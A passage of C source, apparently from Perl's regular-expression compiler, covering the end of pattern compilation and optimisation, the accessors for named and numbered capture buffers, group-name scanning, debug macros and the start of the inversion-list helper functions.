study_chunk() FOR m/PATTERN/ * (NO top level branches) */ minlen = study_chunk(pRExC_state, &first, &minlen, &fake, scan + RExC_size, /* Up to end */ &data, -1, 0, NULL, SCF_DO_SUBSTR | SCF_WHILEM_VISITED_POS | stclass_flag | (restudied ? SCF_TRIE_DOING_RESTUDY : 0), 0); CHECK_RESTUDY_GOTO_butfirst(LEAVE_with_name("study_chunk")); if ( RExC_total_parens == 1 && !data.cur_is_floating && data.last_start_min == 0 && data.last_end > 0 && !RExC_seen_zerolen && !(RExC_seen & REG_VERBARG_SEEN) && !(RExC_seen & REG_GPOS_SEEN) ){ RExC_rx->extflags |= RXf_CHECK_ALL; } scan_commit(pRExC_state, &data,&minlen, 0); /* XXX this is done in reverse order because that's the way the * code was before it was parameterised. Don't know whether it * actually needs doing in reverse order. DAPM */ for (i = 1; i >= 0; i--) { longest_length[i] = CHR_SVLEN(data.substrs[i].str); if ( !( i && SvCUR(data.substrs[0].str) /* ok to leave SvCUR */ && data.substrs[0].min_offset == data.substrs[1].min_offset && SvCUR(data.substrs[0].str) == SvCUR(data.substrs[1].str) ) && S_setup_longest (aTHX_ pRExC_state, &(RExC_rx->substrs->data[i]), &(data.substrs[i]), longest_length[i])) { RExC_rx->substrs->data[i].min_offset = data.substrs[i].min_offset - data.substrs[i].lookbehind; RExC_rx->substrs->data[i].max_offset = data.substrs[i].max_offset; /* Don't offset infinity */ if (data.substrs[i].max_offset < SSize_t_MAX) RExC_rx->substrs->data[i].max_offset -= data.substrs[i].lookbehind; SvREFCNT_inc_simple_void_NN(data.substrs[i].str); } else { RExC_rx->substrs->data[i].substr = NULL; RExC_rx->substrs->data[i].utf8_substr = NULL; longest_length[i] = 0; } } LEAVE_with_name("study_chunk"); if (RExC_rxi->regstclass && (OP(RExC_rxi->regstclass) == REG_ANY || OP(RExC_rxi->regstclass) == SANY)) RExC_rxi->regstclass = NULL; if ((!(RExC_rx->substrs->data[0].substr || RExC_rx->substrs->data[0].utf8_substr) || RExC_rx->substrs->data[0].min_offset) && stclass_flag && ! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING) && is_ssc_worth_it(pRExC_state, data.start_class)) { const U32 n = add_data(pRExC_state, STR_WITH_LEN("f")); ssc_finalize(pRExC_state, data.start_class); Newx(RExC_rxi->data->data[n], 1, regnode_ssc); StructCopy(data.start_class, (regnode_ssc*)RExC_rxi->data->data[n], regnode_ssc); RExC_rxi->regstclass = (regnode*)RExC_rxi->data->data[n]; RExC_rx->intflags &= ~PREGf_SKIP; /* Used in find_byclass(). */ DEBUG_COMPILE_r({ SV *sv = sv_newmortal(); regprop(RExC_rx, sv, (regnode*)data.start_class, NULL, pRExC_state); Perl_re_printf( aTHX_ "synthetic stclass \"%s\".\n", SvPVX_const(sv));}); data.start_class = NULL; } /* A temporary algorithm prefers floated substr to fixed one of * same length to dig more info. */ i = (longest_length[0] <= longest_length[1]); RExC_rx->substrs->check_ix = i; RExC_rx->check_end_shift = RExC_rx->substrs->data[i].end_shift; RExC_rx->check_substr = RExC_rx->substrs->data[i].substr; RExC_rx->check_utf8 = RExC_rx->substrs->data[i].utf8_substr; RExC_rx->check_offset_min = RExC_rx->substrs->data[i].min_offset; RExC_rx->check_offset_max = RExC_rx->substrs->data[i].max_offset; if (!i && (RExC_rx->intflags & (PREGf_ANCH_SBOL|PREGf_ANCH_GPOS))) RExC_rx->intflags |= PREGf_NOSCAN; if ((RExC_rx->check_substr || RExC_rx->check_utf8) ) { RExC_rx->extflags |= RXf_USE_INTUIT; if (SvTAIL(RExC_rx->check_substr ? RExC_rx->check_substr : RExC_rx->check_utf8)) RExC_rx->extflags |= RXf_INTUIT_TAIL; } /* XXX Unneeded? dmq (shouldn't as this is handled elsewhere) if ( (STRLEN)minlen < longest_length[1] ) minlen= longest_length[1]; if ( (STRLEN)minlen < longest_length[0] ) minlen= longest_length[0]; */ } else { /* Several toplevels. Best we can is to set minlen. */ SSize_t fake; regnode_ssc ch_class; SSize_t last_close = 0; DEBUG_PARSE_r(Perl_re_printf( aTHX_ "\nMulti Top Level\n")); scan = RExC_rxi->program + 1; ssc_init(pRExC_state, &ch_class); data.start_class = &ch_class; data.last_closep = &last_close; DEBUG_RExC_seen(); /* * MAIN ENTRY FOR study_chunk() FOR m/P1|P2|.../ * (patterns WITH top level branches) */ minlen = study_chunk(pRExC_state, &scan, &minlen, &fake, scan + RExC_size, &data, -1, 0, NULL, SCF_DO_STCLASS_AND|SCF_WHILEM_VISITED_POS|(restudied ? SCF_TRIE_DOING_RESTUDY : 0), 0); CHECK_RESTUDY_GOTO_butfirst(NOOP); RExC_rx->check_substr = NULL; RExC_rx->check_utf8 = NULL; RExC_rx->substrs->data[0].substr = NULL; RExC_rx->substrs->data[0].utf8_substr = NULL; RExC_rx->substrs->data[1].substr = NULL; RExC_rx->substrs->data[1].utf8_substr = NULL; if (! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING) && is_ssc_worth_it(pRExC_state, data.start_class)) { const U32 n = add_data(pRExC_state, STR_WITH_LEN("f")); ssc_finalize(pRExC_state, data.start_class); Newx(RExC_rxi->data->data[n], 1, regnode_ssc); StructCopy(data.start_class, (regnode_ssc*)RExC_rxi->data->data[n], regnode_ssc); RExC_rxi->regstclass = (regnode*)RExC_rxi->data->data[n]; RExC_rx->intflags &= ~PREGf_SKIP; /* Used in find_byclass(). */ DEBUG_COMPILE_r({ SV* sv = sv_newmortal(); regprop(RExC_rx, sv, (regnode*)data.start_class, NULL, pRExC_state); Perl_re_printf( aTHX_ "synthetic stclass \"%s\".\n", SvPVX_const(sv));}); data.start_class = NULL; } } if (RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN) { RExC_rx->extflags |= RXf_UNBOUNDED_QUANTIFIER_SEEN; RExC_rx->maxlen = REG_INFTY; } else { RExC_rx->maxlen = RExC_maxlen; } /* Guard against an embedded (?=) or (?<=) with a longer minlen than the "real" pattern. */ DEBUG_OPTIMISE_r({ Perl_re_printf( aTHX_ "minlen: %" IVdf " RExC_rx->minlen:%" IVdf " maxlen:%" IVdf "\n", (IV)minlen, (IV)RExC_rx->minlen, (IV)RExC_maxlen); }); RExC_rx->minlenret = minlen; if (RExC_rx->minlen < minlen) RExC_rx->minlen = minlen; if (RExC_seen & REG_RECURSE_SEEN ) { RExC_rx->intflags |= PREGf_RECURSE_SEEN; Newx(RExC_rx->recurse_locinput, RExC_rx->nparens + 1, char *); } if (RExC_seen & REG_GPOS_SEEN) RExC_rx->intflags |= PREGf_GPOS_SEEN; if (RExC_seen & REG_LOOKBEHIND_SEEN) RExC_rx->extflags |= RXf_NO_INPLACE_SUBST; /* inplace might break the lookbehind */ if (pRExC_state->code_blocks) RExC_rx->extflags |= RXf_EVAL_SEEN; if (RExC_seen & REG_VERBARG_SEEN) { RExC_rx->intflags |= PREGf_VERBARG_SEEN; RExC_rx->extflags |= RXf_NO_INPLACE_SUBST; /* don't understand this! Yves */ } if (RExC_seen & REG_CUTGROUP_SEEN) RExC_rx->intflags |= PREGf_CUTGROUP_SEEN; if (pm_flags & PMf_USE_RE_EVAL) RExC_rx->intflags |= PREGf_USE_RE_EVAL; if (RExC_paren_names) RXp_PAREN_NAMES(RExC_rx) = MUTABLE_HV(SvREFCNT_inc(RExC_paren_names)); else RXp_PAREN_NAMES(RExC_rx) = NULL; /* If we have seen an anchor in our pattern then we set the extflag RXf_IS_ANCHORED * so it can be used in pp.c */ if (RExC_rx->intflags & PREGf_ANCH) RExC_rx->extflags |= RXf_IS_ANCHORED; { /* this is used to identify "special" patterns that might result * in Perl NOT calling the regex engine and instead doing the match "itself", * particularly special cases in split//. By having the regex compiler * do this pattern matching at a regop level (instead of by inspecting the pattern) * we avoid weird issues with equivalent patterns resulting in different behavior, * AND we allow non Perl engines to get the same optimizations by the setting the * flags appropriately - Yves */ regnode *first = RExC_rxi->program + 1; U8 fop = OP(first); regnode *next = regnext(first); U8 nop = OP(next); if (PL_regkind[fop] == NOTHING && nop == END) RExC_rx->extflags |= RXf_NULL; else if ((fop == MBOL || (fop == SBOL && !first->flags)) && nop == END) /* when fop is SBOL first->flags will be true only when it was * produced by parsing /\A/, and not when parsing /^/. This is * very important for the split code as there we want to * treat /^/ as /^/m, but we do not want to treat /\A/ as /^/m. * See rt #122761 for more details. -- Yves */ RExC_rx->extflags |= RXf_START_ONLY; else if (fop == PLUS && PL_regkind[nop] == POSIXD && FLAGS(next) == _CC_SPACE && nop == END) RExC_rx->extflags |= RXf_WHITE; else if ( RExC_rx->extflags & RXf_SPLIT && (fop == EXACT || fop == EXACT_ONLY8 || fop == EXACTL) && STR_LEN(first) == 1 && *(STRING(first)) == ' ' && nop == END ) RExC_rx->extflags |= (RXf_SKIPWHITE|RXf_WHITE); } if (RExC_contains_locale) { RXp_EXTFLAGS(RExC_rx) |= RXf_TAINTED; } #ifdef DEBUGGING if (RExC_paren_names) { RExC_rxi->name_list_idx = add_data( pRExC_state, STR_WITH_LEN("a")); RExC_rxi->data->data[RExC_rxi->name_list_idx] = (void*)SvREFCNT_inc(RExC_paren_name_list); } else #endif RExC_rxi->name_list_idx = 0; while ( RExC_recurse_count > 0 ) { const regnode *scan = RExC_recurse[ --RExC_recurse_count ]; /* * This data structure is set up in study_chunk() and is used * to calculate the distance between a GOSUB regopcode and * the OPEN/CURLYM (CURLYM's are special and can act like OPEN's) * it refers to. * * If for some reason someone writes code that optimises * away a GOSUB opcode then the assert should be changed to * an if(scan) to guard the ARG2L_SET() - Yves * */ assert(scan && OP(scan) == GOSUB); ARG2L_SET( scan, RExC_open_parens[ARG(scan)] - REGNODE_OFFSET(scan)); } Newxz(RExC_rx->offs, RExC_total_parens, regexp_paren_pair); /* assume we don't need to swap parens around before we match */ DEBUG_TEST_r({ Perl_re_printf( aTHX_ "study_chunk_recursed_count: %lu\n", (unsigned long)RExC_study_chunk_recursed_count); }); DEBUG_DUMP_r({ DEBUG_RExC_seen(); Perl_re_printf( aTHX_ "Final program:\n"); regdump(RExC_rx); }); if (RExC_open_parens) { Safefree(RExC_open_parens); RExC_open_parens = NULL; } if (RExC_close_parens) { Safefree(RExC_close_parens); RExC_close_parens = NULL; } #ifdef USE_ITHREADS /* under ithreads the ?pat? PMf_USED flag on the pmop is simulated * by setting the regexp SV to readonly-only instead. If the * pattern's been recompiled, the USEDness should remain. */ if (old_re && SvREADONLY(old_re)) SvREADONLY_on(Rx); #endif return Rx; } SV* Perl_reg_named_buff(pTHX_ REGEXP * const rx, SV * const key, SV * const value, const U32 flags) { PERL_ARGS_ASSERT_REG_NAMED_BUFF; PERL_UNUSED_ARG(value); if (flags & RXapif_FETCH) { return reg_named_buff_fetch(rx, key, flags); } else if (flags & (RXapif_STORE | RXapif_DELETE | RXapif_CLEAR)) { Perl_croak_no_modify(); return NULL; } else if (flags & RXapif_EXISTS) { return reg_named_buff_exists(rx, key, flags) ? &PL_sv_yes : &PL_sv_no; } else if (flags & RXapif_REGNAMES) { return reg_named_buff_all(rx, flags); } else if (flags & (RXapif_SCALAR | RXapif_REGNAMES_COUNT)) { return reg_named_buff_scalar(rx, flags); } else { Perl_croak(aTHX_ "panic: Unknown flags %d in named_buff", (int)flags); return NULL; } } SV* Perl_reg_named_buff_iter(pTHX_ REGEXP * const rx, const SV * const lastkey, const U32 flags) { PERL_ARGS_ASSERT_REG_NAMED_BUFF_ITER; PERL_UNUSED_ARG(lastkey); if (flags & RXapif_FIRSTKEY) return reg_named_buff_firstkey(rx, flags); else if (flags & RXapif_NEXTKEY) return reg_named_buff_nextkey(rx, flags); else { Perl_croak(aTHX_ "panic: Unknown flags %d in named_buff_iter", (int)flags); return NULL; } } SV* Perl_reg_named_buff_fetch(pTHX_ REGEXP * const r, SV * const namesv, const U32 flags) { SV *ret; struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_FETCH; if (rx && RXp_PAREN_NAMES(rx)) { HE *he_str = hv_fetch_ent( RXp_PAREN_NAMES(rx), namesv, 0, 0 ); if (he_str) { IV i; SV* sv_dat=HeVAL(he_str); I32 *nums=(I32*)SvPVX(sv_dat); AV * const retarray = (flags & RXapif_ALL) ? newAV() : NULL; for ( i=0; i<SvIVX(sv_dat); i++ ) { if ((I32)(rx->nparens) >= nums[i] && rx->offs[nums[i]].start != -1 && rx->offs[nums[i]].end != -1) { ret = newSVpvs(""); CALLREG_NUMBUF_FETCH(r, nums[i], ret); if (!retarray) return ret; } else { if (retarray) ret = newSVsv(&PL_sv_undef); } if (retarray) av_push(retarray, ret); } if (retarray) return newRV_noinc(MUTABLE_SV(retarray)); } } return NULL; } bool Perl_reg_named_buff_exists(pTHX_ REGEXP * const r, SV * const key, const U32 flags) { struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_EXISTS; if (rx && RXp_PAREN_NAMES(rx)) { if (flags & RXapif_ALL) { return hv_exists_ent(RXp_PAREN_NAMES(rx), key, 0); } else { SV *sv = CALLREG_NAMED_BUFF_FETCH(r, key, flags); if (sv) { SvREFCNT_dec_NN(sv); return TRUE; } else { return FALSE; } } } else { return FALSE; } } SV* Perl_reg_named_buff_firstkey(pTHX_ REGEXP * const r, const U32 flags) { struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_FIRSTKEY; if ( rx && RXp_PAREN_NAMES(rx) ) { (void)hv_iterinit(RXp_PAREN_NAMES(rx)); return CALLREG_NAMED_BUFF_NEXTKEY(r, NULL, flags & ~RXapif_FIRSTKEY); } else { return FALSE; } } SV* Perl_reg_named_buff_nextkey(pTHX_ REGEXP * const r, const U32 flags) { struct regexp *const rx = ReANY(r); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REG_NAMED_BUFF_NEXTKEY; if (rx && RXp_PAREN_NAMES(rx)) { HV *hv = RXp_PAREN_NAMES(rx); HE *temphe; while ( (temphe = hv_iternext_flags(hv, 0)) ) { IV i; IV parno = 0; SV* sv_dat = HeVAL(temphe); I32 *nums = (I32*)SvPVX(sv_dat); for ( i = 0; i < SvIVX(sv_dat); i++ ) { if ((I32)(rx->lastparen) >= nums[i] && rx->offs[nums[i]].start != -1 && rx->offs[nums[i]].end != -1) { parno = nums[i]; break; } } if (parno || flags & RXapif_ALL) { return newSVhek(HeKEY_hek(temphe)); } } } return NULL; } SV* Perl_reg_named_buff_scalar(pTHX_ REGEXP * const r, const U32 flags) { SV *ret; AV *av; SSize_t length; struct regexp *const rx = ReANY(r); PERL_ARGS_ASSERT_REG_NAMED_BUFF_SCALAR; if (rx && RXp_PAREN_NAMES(rx)) { if (flags & (RXapif_ALL | RXapif_REGNAMES_COUNT)) { return newSViv(HvTOTALKEYS(RXp_PAREN_NAMES(rx))); } else if (flags & RXapif_ONE) { ret = CALLREG_NAMED_BUFF_ALL(r, (flags | RXapif_REGNAMES)); av = MUTABLE_AV(SvRV(ret)); length = av_tindex(av); SvREFCNT_dec_NN(ret); return newSViv(length + 1); } else { Perl_croak(aTHX_ "panic: Unknown flags %d in named_buff_scalar", (int)flags); return NULL; } } return &PL_sv_undef; } SV* Perl_reg_named_buff_all(pTHX_ REGEXP * const r, const U32 flags) { struct regexp *const rx = ReANY(r); AV *av = newAV(); PERL_ARGS_ASSERT_REG_NAMED_BUFF_ALL; if (rx && RXp_PAREN_NAMES(rx)) { HV *hv= RXp_PAREN_NAMES(rx); HE *temphe; (void)hv_iterinit(hv); while ( (temphe = hv_iternext_flags(hv, 0)) ) { IV i; IV parno = 0; SV* sv_dat = HeVAL(temphe); I32 *nums = (I32*)SvPVX(sv_dat); for ( i = 0; i < SvIVX(sv_dat); i++ ) { if ((I32)(rx->lastparen) >= nums[i] && rx->offs[nums[i]].start != -1 && rx->offs[nums[i]].end != -1) { parno = nums[i]; break; } } if (parno || flags & RXapif_ALL) { av_push(av, newSVhek(HeKEY_hek(temphe))); } } } return newRV_noinc(MUTABLE_SV(av)); } void Perl_reg_numbered_buff_fetch(pTHX_ REGEXP * const r, const I32 paren, SV * const sv) { struct regexp *const rx = ReANY(r); char *s = NULL; SSize_t i = 0; SSize_t s1, t1; I32 n = paren; PERL_ARGS_ASSERT_REG_NUMBERED_BUFF_FETCH; if ( n == RX_BUFF_IDX_CARET_PREMATCH || n == RX_BUFF_IDX_CARET_FULLMATCH || n == RX_BUFF_IDX_CARET_POSTMATCH ) { bool keepcopy = cBOOL(rx->extflags & RXf_PMf_KEEPCOPY); if (!keepcopy) { /* on something like * $r = qr/.../; * /$qr/p; * the KEEPCOPY is set on the PMOP rather than the regex */ if (PL_curpm && r == PM_GETRE(PL_curpm)) keepcopy = cBOOL(PL_curpm->op_pmflags & PMf_KEEPCOPY); } if (!keepcopy) goto ret_undef; } if (!rx->subbeg) goto ret_undef; if (n == RX_BUFF_IDX_CARET_FULLMATCH) /* no need to distinguish between them any more */ n = RX_BUFF_IDX_FULLMATCH; if ((n == RX_BUFF_IDX_PREMATCH || n == RX_BUFF_IDX_CARET_PREMATCH) && rx->offs[0].start != -1) { /* $`, ${^PREMATCH} */ i = rx->offs[0].start; s = rx->subbeg; } else if ((n == RX_BUFF_IDX_POSTMATCH || n == RX_BUFF_IDX_CARET_POSTMATCH) && rx->offs[0].end != -1) { /* $', ${^POSTMATCH} */ s = rx->subbeg - rx->suboffset + rx->offs[0].end; i = rx->sublen + rx->suboffset - rx->offs[0].end; } else if ( 0 <= n && n <= (I32)rx->nparens && (s1 = rx->offs[n].start) != -1 && (t1 = rx->offs[n].end) != -1) { /* $&, ${^MATCH}, $1 ... */ i = t1 - s1; s = rx->subbeg + s1 - rx->suboffset; } else { goto ret_undef; } assert(s >= rx->subbeg); assert((STRLEN)rx->sublen >= (STRLEN)((s - rx->subbeg) + i) ); if (i >= 0) { #ifdef NO_TAINT_SUPPORT sv_setpvn(sv, s, i); #else const int oldtainted = TAINT_get; TAINT_NOT; sv_setpvn(sv, s, i); TAINT_set(oldtainted); #endif if (RXp_MATCH_UTF8(rx)) SvUTF8_on(sv); else SvUTF8_off(sv); if (TAINTING_get) { if (RXp_MATCH_TAINTED(rx)) { if (SvTYPE(sv) >= SVt_PVMG) { MAGIC* const mg = SvMAGIC(sv); MAGIC* mgt; TAINT; SvMAGIC_set(sv, mg->mg_moremagic); SvTAINT(sv); if ((mgt = SvMAGIC(sv))) { mg->mg_moremagic = mgt; SvMAGIC_set(sv, mg); } } else { TAINT; SvTAINT(sv); } } else SvTAINTED_off(sv); } } else { ret_undef: sv_set_undef(sv); return; } } void Perl_reg_numbered_buff_store(pTHX_ REGEXP * const rx, const I32 paren, SV const * const value) { PERL_ARGS_ASSERT_REG_NUMBERED_BUFF_STORE; PERL_UNUSED_ARG(rx); PERL_UNUSED_ARG(paren); PERL_UNUSED_ARG(value); if (!PL_localizing) Perl_croak_no_modify(); } I32 Perl_reg_numbered_buff_length(pTHX_ REGEXP * const r, const SV * const sv, const I32 paren) { struct regexp *const rx = ReANY(r); I32 i; I32 s1, t1; PERL_ARGS_ASSERT_REG_NUMBERED_BUFF_LENGTH; if ( paren == RX_BUFF_IDX_CARET_PREMATCH || paren == RX_BUFF_IDX_CARET_FULLMATCH || paren == RX_BUFF_IDX_CARET_POSTMATCH ) { bool keepcopy = cBOOL(rx->extflags & RXf_PMf_KEEPCOPY); if (!keepcopy) { /* on something like * $r = qr/.../; * /$qr/p; * the KEEPCOPY is set on the PMOP rather than the regex */ if (PL_curpm && r == PM_GETRE(PL_curpm)) keepcopy = cBOOL(PL_curpm->op_pmflags & PMf_KEEPCOPY); } if (!keepcopy) goto warn_undef; } /* Some of this code was originally in C<Perl_magic_len> in F<mg.c> */ switch (paren) { case RX_BUFF_IDX_CARET_PREMATCH: /* ${^PREMATCH} */ case RX_BUFF_IDX_PREMATCH: /* $` */ if (rx->offs[0].start != -1) { i = rx->offs[0].start; if (i > 0) { s1 = 0; t1 = i; goto getlen; } } return 0; case RX_BUFF_IDX_CARET_POSTMATCH: /* ${^POSTMATCH} */ case RX_BUFF_IDX_POSTMATCH: /* $' */ if (rx->offs[0].end != -1) { i = rx->sublen - rx->offs[0].end; if (i > 0) { s1 = rx->offs[0].end; t1 = rx->sublen; goto getlen; } } return 0; default: /* $& / ${^MATCH}, $1, $2, ... */ if (paren <= (I32)rx->nparens && (s1 = rx->offs[paren].start) != -1 && (t1 = rx->offs[paren].end) != -1) { i = t1 - s1; goto getlen; } else { warn_undef: if (ckWARN(WARN_UNINITIALIZED)) report_uninit((const SV *)sv); return 0; } } getlen: if (i > 0 && RXp_MATCH_UTF8(rx)) { const char * const s = rx->subbeg - rx->suboffset + s1; const U8 *ep; STRLEN el; i = t1 - s1; if (is_utf8_string_loclen((U8*)s, i, &ep, &el)) i = el; } return i; } SV* Perl_reg_qr_package(pTHX_ REGEXP * const rx) { PERL_ARGS_ASSERT_REG_QR_PACKAGE; PERL_UNUSED_ARG(rx); if (0) return NULL; else return newSVpvs("Regexp"); } /* Scans the name of a named buffer from the pattern. * If flags is REG_RSN_RETURN_NULL returns null. * If flags is REG_RSN_RETURN_NAME returns an SV* containing the name * If flags is REG_RSN_RETURN_DATA returns the data SV* corresponding * to the parsed name as looked up in the RExC_paren_names hash. * If there is an error throws a vFAIL().. type exception. */ #define REG_RSN_RETURN_NULL 0 #define REG_RSN_RETURN_NAME 1 #define REG_RSN_RETURN_DATA 2 STATIC SV* S_reg_scan_name(pTHX_ RExC_state_t *pRExC_state, U32 flags) { char *name_start = RExC_parse; SV* sv_name; PERL_ARGS_ASSERT_REG_SCAN_NAME; assert (RExC_parse <= RExC_end); if (RExC_parse == RExC_end) NOOP; else if (isIDFIRST_lazy_if_safe(RExC_parse, RExC_end, UTF)) { /* Note that the code here assumes well-formed UTF-8. Skip IDFIRST by * using do...while */ if (UTF) do { RExC_parse += UTF8SKIP(RExC_parse); } while ( RExC_parse < RExC_end && isWORDCHAR_utf8_safe((U8*)RExC_parse, (U8*) RExC_end)); else do { RExC_parse++; } while (RExC_parse < RExC_end && isWORDCHAR(*RExC_parse)); } else { RExC_parse++; /* so the <- from the vFAIL is after the offending character */ vFAIL("Group name must start with a non-digit word character"); } sv_name = newSVpvn_flags(name_start, (int)(RExC_parse - name_start), SVs_TEMP | (UTF ? SVf_UTF8 : 0)); if ( flags == REG_RSN_RETURN_NAME) return sv_name; else if (flags==REG_RSN_RETURN_DATA) { HE *he_str = NULL; SV *sv_dat = NULL; if ( ! sv_name ) /* should not happen*/ Perl_croak(aTHX_ "panic: no svname in reg_scan_name"); if (RExC_paren_names) he_str = hv_fetch_ent( RExC_paren_names, sv_name, 0, 0 ); if ( he_str ) sv_dat = HeVAL(he_str); if ( ! sv_dat ) { /* Didn't find group */ /* It might be a forward reference; we can't fail until we * know, by completing the parse to get all the groups, and * then reparsing */ if (ALL_PARENS_COUNTED) { vFAIL("Reference to nonexistent named group"); } else { REQUIRE_PARENS_PASS; } } return sv_dat; } Perl_croak(aTHX_ "panic: bad flag %lx in reg_scan_name", (unsigned long) flags); } #define DEBUG_PARSE_MSG(funcname) DEBUG_PARSE_r({ \ if (RExC_lastparse!=RExC_parse) { \ Perl_re_printf( aTHX_ "%s", \ Perl_pv_pretty(aTHX_ RExC_mysv1, RExC_parse, \ RExC_end - RExC_parse, 16, \ "", "", \ PERL_PV_ESCAPE_UNI_DETECT | \ PERL_PV_PRETTY_ELLIPSES | \ PERL_PV_PRETTY_LTGT | \ PERL_PV_ESCAPE_RE | \ PERL_PV_PRETTY_EXACTSIZE \ ) \ ); \ } else \ Perl_re_printf( aTHX_ "%16s",""); \ \ if (RExC_lastnum!=RExC_emit) \ Perl_re_printf( aTHX_ "|%4d", RExC_emit); \ else \ Perl_re_printf( aTHX_ "|%4s",""); \ Perl_re_printf( aTHX_ "|%*s%-4s", \ (int)((depth*2)), "", \ (funcname) \ ); \ RExC_lastnum=RExC_emit; \ RExC_lastparse=RExC_parse; \ }) #define DEBUG_PARSE(funcname) DEBUG_PARSE_r({ \ DEBUG_PARSE_MSG((funcname)); \ Perl_re_printf( aTHX_ "%4s","\n"); \ }) #define DEBUG_PARSE_FMT(funcname,fmt,args) DEBUG_PARSE_r({\ DEBUG_PARSE_MSG((funcname)); \ Perl_re_printf( aTHX_ fmt "\n",args); \ }) /* This section of code defines the inversion list object and its methods. The * interfaces are highly subject to change, so as much as possible is static to * this file. An inversion list is here implemented as a malloc'd C UV array * as an SVt_INVLIST scalar. * * An inversion list for Unicode is an array of code points, sorted by ordinal * number. Each element gives the code point that begins a range that extends * up-to but not including the code point given by the next element. The final * element gives the first code point of a range that extends to the platform's * infinity. The even-numbered elements (invlist[0], invlist[2], invlist[4], * ...) give ranges whose code points are all in the inversion list. We say * that those ranges are in the set. The odd-numbered elements give ranges * whose code points are not in the inversion list, and hence not in the set. * Thus, element [0] is the first code point in the list. Element [1] * is the first code point beyond that not in the list; and element [2] is the * first code point beyond that that is in the list. In other words, the first * range is invlist[0]..(invlist[1]-1), and all code points in that range are * in the inversion list. The second range is invlist[1]..(invlist[2]-1), and * all code points in that range are not in the inversion list. The third * range invlist[2]..(invlist[3]-1) gives code points that are in the inversion * list, and so forth. Thus every element whose index is divisible by two * gives the beginning of a range that is in the list, and every element whose * index is not divisible by two gives the beginning of a range not in the * list. If the final element's index is divisible by two, the inversion list * extends to the platform's infinity; otherwise the highest code point in the * inversion list is the contents of that element minus 1. * * A range that contains just a single code point N will look like * invlist[i] == N * invlist[i+1] == N+1 * * If N is UV_MAX (the highest representable code point on the machine), N+1 is * impossible to represent, so element [i+1] is omitted. The single element * inversion list * invlist[0] == UV_MAX * contains just UV_MAX, but is interpreted as matching to infinity. * * Taking the complement (inverting) an inversion list is quite simple, if the * first element is 0, remove it; otherwise add a 0 element at the beginning. * This implementation reserves an element at the beginning of each inversion * list to always contain 0; there is an additional flag in the header which * indicates if the list begins at the 0, or is offset to begin at the next * element. This means that the inversion list can be inverted without any * copying; just flip the flag. * * More about inversion lists can be found in "Unicode Demystified" * Chapter 13 by Richard Gillam, published by Addison-Wesley. * * The inversion list data structure is currently implemented as an SV pointing * to an array of UVs that the SV thinks are bytes. This allows us to have an * array of UV whose memory management is automatically handled by the existing * facilities for SV's. * * Some of the methods should always be private to the implementation, and some * should eventually be made public */ /* The header definitions are in F<invlist_inline.h> */ #ifndef PERL_IN_XSUB_RE PERL_STATIC_INLINE UV* S__invlist_array_init(SV* const invlist, const bool will_have_0) { /* Returns a pointer to the first element in the inversion list's array. * This is called upon initialization of an inversion list. Where the * array begins depends on whether the list has the code point U+0000 in it * or not. The other parameter tells it whether the code that follows this * call is about to put a 0 in the inversion list or not. The first * element is either the element reserved for 0, if TRUE, or the element * after it, if FALSE */ bool* offset = get_invlist_offset_addr(invlist); UV* zero_addr = (UV *) SvPVX(invlist); PERL_ARGS_ASSERT__INVLIST_ARRAY_INIT; /* Must be empty */ assert(! _invlist_len(invlist)); *zero_addr = 0; /* 1^1 = 0; 1^0 = 1 */ *offset = 1 ^ will_have_0; return zero_addr + *offset; } PERL_STATIC_INLINE void S_invlist_set_len(pTHX_ SV* const invlist, const UV len, const bool offset) { /* Sets the current number of elements stored in the inversion list. * Updates SvCUR correspondingly */ PERL_UNUSED_CONTEXT; PERL_ARGS_ASSERT_INVLIST_SET_LEN; assert(is_invlist(invlist)); SvCUR_set(invlist, (len == 0) ? 0 : TO_INTERNAL_SIZE(len + offset)); assert(SvLEN(invlist) == 0 || SvCUR(invlist) <= SvLEN(invlist)); } STATIC void S_invlist_replace_list_destroys_src(pTHX_ SV * dest, SV * src) { /* Replaces the inversion list in 'dest' with the one from 'src'. It * steals the list from 'src', so 'src' is made to have a NULL list. This * is similar to what SvSetMagicSV() would do, if it were implemented on * inversion lists, though this routine avoids a copy */ const UV src_len = _invlist_len(src); const bool src_offset = *get_invlist_offset_addr(src); const STRLEN src_byte_len = SvLEN(src); char * array = SvPVX(src); const int oldtainted = TAINT_get; PERL_ARGS_ASSERT_INVLIST_REPLACE_LIST_DESTROYS_SRC; assert(is_invlist(src)); assert(is_invlist(dest)); assert(! invlist_is_iterating(src)); assert(SvCUR(src) == 0 || SvCUR(src) < SvLEN(src)); /* Make sure it ends in the right place with a NUL, as our inversion list * manipulations aren't careful to keep this true, but sv_usepvn_flags() * asserts it */ array[src_byte_len - 1] = '\0'; TAINT_NOT; /* Otherwise it breaks */ sv_usepvn_flags(dest, (char *) array, src_byte_len - 1, /* This flag is documented to cause a copy to be avoided */ SV_HAS_TRAILING_NUL); TAINT_set(oldtainted); SvPV_set(src, 0); SvLEN_set(src, 0); SvCUR_set(src, 0); /* Finish up copying over the other fields in an inversion list */ *get_invlist_offset_addr(dest) = src_offset; invlist_set_len(dest, src_len, src_offset); *get_invlist_previous_index_addr(dest) = 0; invlist_iterfinish(dest); } PERL_STATIC_INLINE IV* S_get_invlist_previous_index_addr(SV* invlist) { /* Return the address of the IV that is reserved to hold the cached index * */ PERL_ARGS_ASSERT_GET_INVLIST_PREVIOUS_INDEX_ADDR; assert(is_invlist(invlist)); return &(((XINVLIST*) SvANY(invlist))->prev_index); } PERL_STATIC_INLINE IV S_invlist_previous_index(SV* const invlist) { /* Returns cached index of previous search */ PERL_ARGS_ASSERT_INVLIST_PREVIOUS_INDEX; return *get_invlist_previous_index_addr(invlist); } PERL_STATIC_INLINE void S_invlist_set_previous_index(SV* const invlist, const IV index) { /* Caches <index> for later retrieval */ PERL_ARGS_ASSERT_INVLIST_SET_PREVIOUS_INDEX; assert(index == 0 || index < (int) _invlist_len(invlist)); *get_invlist_previous_index_addr(invlist) = index; } PERL_STATIC_INLINE void S_invlist_trim(SV* invlist) { /* Free the not currently-being-used space in an inversion list */ /* But don't free up the space needed for the 0 UV 